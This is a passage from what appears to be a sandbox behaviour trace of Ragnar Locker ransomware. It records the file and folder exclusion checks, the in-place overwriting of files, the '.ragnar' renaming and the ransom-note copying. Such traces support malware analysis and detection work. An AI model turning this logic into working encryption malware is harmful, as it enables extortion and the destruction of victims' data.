lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.790] lstrcpyW (in: lpString1=0x1eab70, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0074.790] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned=".GIF" [0074.790] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.790] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0074.790] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0074.790] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0074.790] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0074.790] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0074.790] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0074.790] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0074.791] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0074.791] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0074.791] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0074.791] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0074.791] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0074.791] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0074.791] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0074.791] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0074.791] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0074.791] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0074.791] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0074.791] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0074.791] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0074.791] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0074.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0074.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.791] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2574) returned 1 [0074.791] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xa05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.791] GetProcessHeap () returned 0x580000 [0074.791] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.791] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.793] VirtualAlloc (lpAddress=0x0, dwSize=0xa0e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.794] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.794] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.794] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa0e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xa0e, lpOverlapped=0x0) returned 1 [0074.794] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.794] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa0e, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.794] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa0e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xa0e, lpOverlapped=0x0) returned 1 [0074.794] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa0e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.794] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.794] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xa0e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.794] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.794] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.794] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.795] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.795] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.795] GetProcessHeap () returned 0x580000 [0074.795] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.795] CloseHandle (hObject=0x100) returned 1 [0074.795] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" [0074.795] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.ragnar_FD7BD9FC" [0074.795] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.795] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ecf3ca0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ecf3ca0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0074.795] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.795] lstrcpyW (in: lpString1=0x1eab70, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0074.795] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\RGNR_FD7BD9FC.txt") returned=".txt" [0074.795] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0074.795] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0074.795] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.796] lstrcpyW (in: lpString1=0x1eab70, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0074.796] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned=".PNG" [0074.796] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0074.796] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0074.796] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0074.796] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0074.796] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0074.796] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0074.796] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0074.796] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0074.796] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0074.796] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0074.796] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0074.796] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0074.796] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0074.796] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0074.796] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0074.796] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0074.796] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0074.796] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0074.796] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0074.796] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0074.796] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0074.796] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0074.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0074.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.797] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=37440) returned 1 [0074.797] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x9237, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.797] GetProcessHeap () returned 0x580000 [0074.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.797] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.799] VirtualAlloc (lpAddress=0x0, dwSize=0x9240, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.799] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.799] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.799] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9240, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x9240, lpOverlapped=0x0) returned 1 [0074.800] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.801] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9240, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.801] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9240, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x9240, lpOverlapped=0x0) returned 1 [0074.801] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9240, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.801] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.801] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x9240, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.801] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.802] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.802] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.802] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.802] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.802] GetProcessHeap () returned 0x580000 [0074.802] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.802] CloseHandle (hObject=0x100) returned 1 [0074.802] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" [0074.802] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0074.802] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.803] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0074.803] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0074.803] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0074.803] lstrcmpiW (lpString1="PIXEL", lpString2=".") returned 1 [0074.803] lstrcmpiW (lpString1="PIXEL", lpString2="..") returned 1 [0074.803] lstrcmpiW (lpString1="PIXEL", lpString2="Windows") returned -1 [0074.803] lstrcmpiW (lpString1="PIXEL", lpString2="Windows.old") returned -1 [0074.803] lstrcmpiW (lpString1="PIXEL", lpString2="Tor browser") returned -1 [0074.803] lstrcmpiW (lpString1="PIXEL", lpString2="Internet Explorer") returned 1 [0074.803] lstrcmpiW (lpString1="PIXEL", lpString2="Google") returned 1 [0074.803] lstrcmpiW (lpString1="PIXEL", lpString2="Opera") returned 1 [0074.803] lstrcmpiW (lpString1="PIXEL", lpString2="Opera Software") returned 1 [0074.803] lstrcmpiW (lpString1="PIXEL", lpString2="Mozilla") returned 1 [0074.803] lstrcmpiW (lpString1="PIXEL", lpString2="Mozilla Firefox") returned 1 [0074.803] lstrcmpiW (lpString1="PIXEL", lpString2="$Recycle.Bin") returned 1 [0074.803] lstrcmpiW (lpString1="PIXEL", lpString2="ProgramData") returned -1 [0074.803] lstrcmpiW (lpString1="PIXEL", lpString2="All Users") returned 1 [0074.803] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0074.803] lstrcpyW (in: lpString1=0x1eb638, lpString2="PIXEL" | out: lpString1="PIXEL") returned="PIXEL" [0074.803] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\" [0074.803] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\" [0074.803] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\RGNR_FD7BD9FC.txt" [0074.803] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0074.805] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*" [0074.805] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0074.805] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0074.805] lstrcpyW (in: lpString1=0x1ea758, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0074.805] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ed3ff60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ed3ff60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0074.806] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0074.806] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ed3ff60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ed3ff60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.806] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0074.806] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0074.806] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0074.806] lstrcmpiW (lpString1="PIXEL.ELM", lpString2=".") returned 1 [0074.806] lstrcmpiW (lpString1="PIXEL.ELM", lpString2="..") returned 1 [0074.806] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0074.806] lstrcmpiW (lpString1="PIXEL.INF", lpString2=".") returned 1 [0074.806] lstrcmpiW (lpString1="PIXEL.INF", lpString2="..") returned 1 [0074.806] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, 